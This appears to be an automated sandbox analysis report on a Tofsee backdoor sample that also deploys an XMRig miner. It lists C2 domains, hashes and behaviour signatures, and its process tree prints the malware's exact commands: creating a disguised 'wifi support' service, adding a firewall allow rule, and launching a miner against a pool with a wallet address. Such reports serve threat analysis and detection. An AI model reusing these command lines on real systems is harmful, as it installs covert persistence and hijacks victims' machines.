Analysis

  • max time kernel
    191s
  • max time network
    204s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 05:52

General

  • Target
    file.exe
  • Size 147KB
  • Sample221127-gkqhkshb2x
  • SHA256 4d322af85ebcc58ad4ba3e1ffd63d3f6a6d81226ee9c1b8048d69ce078c7bc82
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pqxducid\
      2⤵
        PID:2988
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tmjribvs.exe" C:\Windows\SysWOW64\pqxducid\
        2⤵
          PID:4416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pqxducid binPath= "C:\Windows\SysWOW64\pqxducid\tmjribvs.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:344
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pqxducid "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4712
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pqxducid
          2⤵
          • Launches sc.exe
          PID:4224
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 1296
          2⤵
          • Program crash
          PID:4676
      • C:\Windows\SysWOW64\pqxducid\tmjribvs.exe
        C:\Windows\SysWOW64\pqxducid\tmjribvs.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1212
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3960
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2936
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1212 -s 536
          2⤵
          • Program crash
          PID:1284
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1212 -ip 1212
        1⤵
          PID:1964
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1932 -ip 1932
          1⤵
            PID:1632

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                tmjribvs.exe

                • Path C:\Users\Admin\AppData\Local\Temp\tmjribvs.exe
                • Size 12.5MB
                • SHA256 23245b909a0676291bc0196a8dd4fcfe9272bc4bc151711755e109ee077043c4
                • MD5 SHA1 SHA512 SSDEEP

                tmjribvs.exe

                • Path C:\Windows\SysWOW64\pqxducid\tmjribvs.exe
                • Size 12.5MB
                • SHA256 23245b909a0676291bc0196a8dd4fcfe9272bc4bc151711755e109ee077043c4
                • MD5 SHA1 SHA512 SSDEEP

                memory/1212-150-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/1212-142-0x00000000004E9000-0x00000000004F9000-memory.dmp

                memory/1212-143-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/1932-134-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/1932-133-0x00000000021A0000-0x00000000021B3000-memory.dmp

                memory/1932-132-0x000000000071D000-0x000000000072D000-memory.dmp

                memory/1932-151-0x0000000000400000-0x000000000045A000-memory.dmp

                memory/2936-177-0x0000000000680000-0x0000000000771000-memory.dmp

                memory/2936-172-0x0000000000680000-0x0000000000771000-memory.dmp

                memory/3960-159-0x00000000019A0000-0x00000000019B0000-memory.dmp

                memory/3960-149-0x0000000000610000-0x0000000000625000-memory.dmp

                memory/3960-146-0x0000000000610000-0x0000000000625000-memory.dmp

                memory/3960-152-0x0000000000610000-0x0000000000625000-memory.dmp

                memory/3960-153-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/3960-156-0x00000000007F0000-0x00000000007F6000-memory.dmp

                memory/3960-162-0x00000000019F0000-0x00000000019F5000-memory.dmp

                memory/3960-165-0x0000000007300000-0x000000000770B000-memory.dmp

                memory/3960-168-0x00000000027D0000-0x00000000027D7000-memory.dmp